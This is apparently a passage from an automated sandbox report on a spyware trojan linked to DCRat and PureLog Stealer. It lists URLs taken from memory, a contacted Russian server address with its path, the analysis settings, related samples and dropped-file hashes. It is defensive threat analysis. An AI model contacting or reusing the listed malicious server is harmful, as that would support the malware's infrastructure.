                          https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drfalse
                          • 0%, Virustotal, Browse
                          • Avira URL Cloud: safe
                          		unknown
                          http://www.tiro.combuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.fontbureau.com/designersbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000142B1000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013F3B000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013C2A000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015324000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013D0D000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001519C000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014356000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000141CD000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013AA2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000133E3000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001364F000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000130D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001401E000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000154AD000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000140C3000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001325B000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000134C6000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001333E000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015407000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001527F000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000142B1000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013F3B000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013C2A000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015324000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013D0D000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001519C000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014356000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000141CD000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013AA2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000133E3000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001364F000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000130D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001401E000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000154AD000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000140C3000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001325B000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000134C6000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001333E000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015407000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001527F000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.goodfont.co.krbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://www.ecosia.org/newtab/buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-brtYfNTC5mXF.11.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://support.mozilla.org/products/firefoxbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmpfalse
                          • 0%, Virustotal, Browse
                          • Avira URL Cloud: safe
                          		unknown
                          http://www.carterandcone.comlbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.sajatypeworks.combuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.typography.netDbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://ac.ecosia.org/autocomplete?q=buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.fontbureau.com/designers/cabarga.htmlNbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.founder.com.cn/cn/cThebuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.galapagosdesign.com/staff/dennis.htmbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.founder.com.cn/cnbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.fontbureau.com/designers/frere-user.htmlbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17InstallbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013191000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015177000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001362A000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013E71000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000153E3000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001552D000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013236000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000155D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013C05000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000152FF000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000130AD000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015488000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000141A9000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013FF9000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000134A1000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001409E000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014331000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013A7D000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013B60000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014103000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001428C000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.jiyu-kobo.co.jp/buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.galapagosdesign.com/DPleasebuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.fontbureau.com/designers8buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.fonts.combuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.sandoll.co.krbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://193.233HJbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005FBB000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://support.mozilla.orgtYfNTC5mXF.11.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.urwpp.deDPleasebuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ExamplesbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013191000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015177000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001362A000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013E71000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000153E3000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001552D000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013236000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000155D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013C05000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000152FF000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000130AD000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015488000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000141A9000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013FF9000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000134A1000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001409E000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014331000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013A7D000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013B60000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014103000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001428C000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.zhongyicts.com.cnbuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameqyKnQ3XZNg.exe, 00000005.00000002.1759312651.0000000002BC6000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.sakkal.combuTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://193.233.115.185/Dle0protectTemp/externalprotect/buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drfalse
                          • URL Reputation: safe
                          		unknown

                          World Map of Contacted IPs

                          • No. of IPs < 25%
                          • 25% < No. of IPs < 50%
                          • 50% < No. of IPs < 75%
                          • 75% < No. of IPs

                          Public IPs

                          IPDomainCountryFlagASNASN NameMalicious
                          193.233.115.185
                          		unknownRussian Federation
                          		20549FREE-MPEIRUtrue

                          General Information

                          Joe Sandbox version:40.0.0 Tourmaline
                          Analysis ID:1470635
                          Start date and time:2024-07-10 09:05:09 +02:00
                          Joe Sandbox product:CloudBasic
                          Overall analysis duration:0h 11m 57s
                          Hypervisor based Inspection enabled:false
                          Report type:full
                          Cookbook file name:default.jbs
                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                          Number of analysed new started processes analysed:18
                          Number of new started drivers analysed:0
                          Number of existing processes analysed:0
                          Number of existing drivers analysed:0
                          Number of injected processes analysed:0
                          Technologies:
                          • HCA enabled
                          • EGA enabled
                          • AMSI enabled
                          Analysis Mode:default
                          Analysis stop reason:Timeout
                          Sample name:file.exe
                          Detection:MAL
                          Classification:mal100.troj.spyw.evad.winEXE@18/343@0/1
                          EGA Information:
                          • Successful, ratio: 100%
                          HCA Information:Failed
                          Cookbook Comments:
                          • Found application associated with file extension: .exe
                          • Override analysis time to 240000 for current running targets taking high CPU consumption

                          Warnings

                          • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                          • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                          • HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
                          • Not all processes where analyzed, report is missing behavior information
                          • Report size exceeded maximum capacity and may have missing behavior information.
                          • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                          • Report size getting too big, too many NtCreateFile calls found.
                          • Report size getting too big, too many NtDeviceIoControlFile calls found.
                          • Report size getting too big, too many NtOpenFile calls found.
                          • Report size getting too big, too many NtOpenKeyEx calls found.
                          • Report size getting too big, too many NtProtectVirtualMemory calls found.
                          • Report size getting too big, too many NtQueryAttributesFile calls found.
                          • Report size getting too big, too many NtQueryValueKey calls found.
                          • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                          • Report size getting too big, too many NtReadVirtualMemory calls found.
                          • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                          Simulations

                          Behavior and APIs

                          TimeTypeDescription
                          03:06:16API Interceptor13711886x Sleep call for process: buTEJZlOSIruGihHI.exe modified

                          Joe Sandbox View / Context

                          IPs

                          ⊘No context

                          Domains

                          ⊘No context

                          ASNs

                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                          FREE-MPEIRUBitTorrent-7.6.exeGet hashmaliciousUnknownBrowse
                          • 193.233.122.71
                          https://test.ambasenegal-pl.com/base.php?c=17&key=66bf6845dbd8f0d53e07b779f6ab8f38Get hashmaliciousUnknownBrowse
                          • 193.233.84.115
                          https://test.ambasenegal-pl.com/base.php?c=17&key=66bf6845dbd8f0d53e07b779f6ab8f38Get hashmaliciousPhisherBrowse
                          • 193.233.84.115
                          https://vpnassdsd1.blob.core.windows.net/vpnassdsd1/unsD.html#9-FFJWW/11-9623-VPOIK/746-001437-16337Get hashmaliciousUnknownBrowse
                          • 193.233.84.175
                          https://ramandan.blob.core.windows.net/ramandan/1.html#15/117-4966/926-74892-11463-Get hashmaliciousPhisherBrowse
                          • 193.233.84.175
                          http://z69p5gc0nk570ejit1fq6apix.ndsgfsjgffsnj.homes/4fdVxq8477PoaJ379hnzhvayyao8624EOSKQEYSWPRERBU64SNSB1959860q24Get hashmaliciousPhisherBrowse
                          • 193.233.84.88
                          https://podlkfidjf.blob.core.windows.net/podlkfidjf/Useemailmanagementtools.html#15/43-4757/934-1153896-11463Get hashmaliciousPhisherBrowse
                          • 193.233.84.175
                          https://f2fhw43mml5z.br-gru-1.linodeobjects.com/f2fhw43mml5z/1.html#14/43-4703/931-67456-11420Get hashmaliciousPhisherBrowse
                          • 193.233.84.175
                          https://snor.it-mil-1.linodeobjects.com/NARDINA%20-%20Copy.html#15/43-4677/934-380263-11463-TXTGet hashmaliciousPhisherBrowse
                          • 193.233.84.175
                          https://es-mad-1.linodeobjects.com/imd/korian.html#4LRqoo3790CWqy30qlgcgdgtum804PGMBQKONRNANMRI816587GOEV11367Y15/A9JWvsdqcTFisTsjuCHGet hashmaliciousHTMLPhisherBrowse
                          • 193.233.84.175

                          JA3 Fingerprints

                          ⊘No context

                          Dropped Files

                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                          C:\Users\user\Desktop\AwFlCgTm.logHDzcvviCBD.exeGet hashmaliciousDCRatBrowse
                            ZB1a1FVGs2.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                              DrgWPOUdyJ.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                738eb28a4f17d2292c8fc731a176539d2674fcb1b96d6.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                  Kxjf9xfVcb.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                    hZE4solQRQ.exeGet hashmaliciousDCRatBrowse
                                      AK4VPeDc0M.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                        BbaXbvOA7D.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                          4h4b4EWVNU.exeGet hashmaliciousPureLog Stealer, zgRATBrowse
                                            FMRGt2gV54.exeGet hashmaliciousDCRatBrowse
                                              C:\Users\user\AppData\Roaming\h7xZry2ICs.exe1hibLFnCm1.exeGet hashmaliciousDCRatBrowse
                                                standlose plus.exeGet hashmaliciousDCRatBrowse
                                                  6lmWSYhtHT.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                    GlhUEXoa8D.exeGet hashmaliciousDCRat, PureLog StealerBrowse
                                                      47VcV3MNuc.exeGet hashmaliciousDCRatBrowse
                                                        8JUrnD9NeY.exeGet hashmaliciousDCRatBrowse
                                                          SL3qvfqA8t.exeGet hashmaliciousDCRatBrowse

                                                            Created / dropped Files

                                                            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\qyKnQ3XZNg.exe.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):1698
                                                            Entropy (8bit):5.367720686892084
                                                            Encrypted:false
                                                            SSDEEP:48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkrJHVHmHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKkt1GqZ4x
                                                            MD5:5E2B46F197ED0B7FCCD1F26C008C2CD1
                                                            SHA1:17B1F616C3D13F341565C71A7520BD788BCCC07D
                                                            SHA-256:AF902415FD3BA2B023D7ACE463D9EB77114FC3678073C0FFD66A1728578FD265
                                                            SHA-512:5E6CEEFD6744B078ADA7E188AEC87CD4EE7FDAD5A9CC661C8217AC0A177013370277A381DFE8FF2BC237F48A256E1144223451ED2EC292C00811C14204993B50
                                                            Malicious:false
                                                            Reputation:moderate, very likely benign file
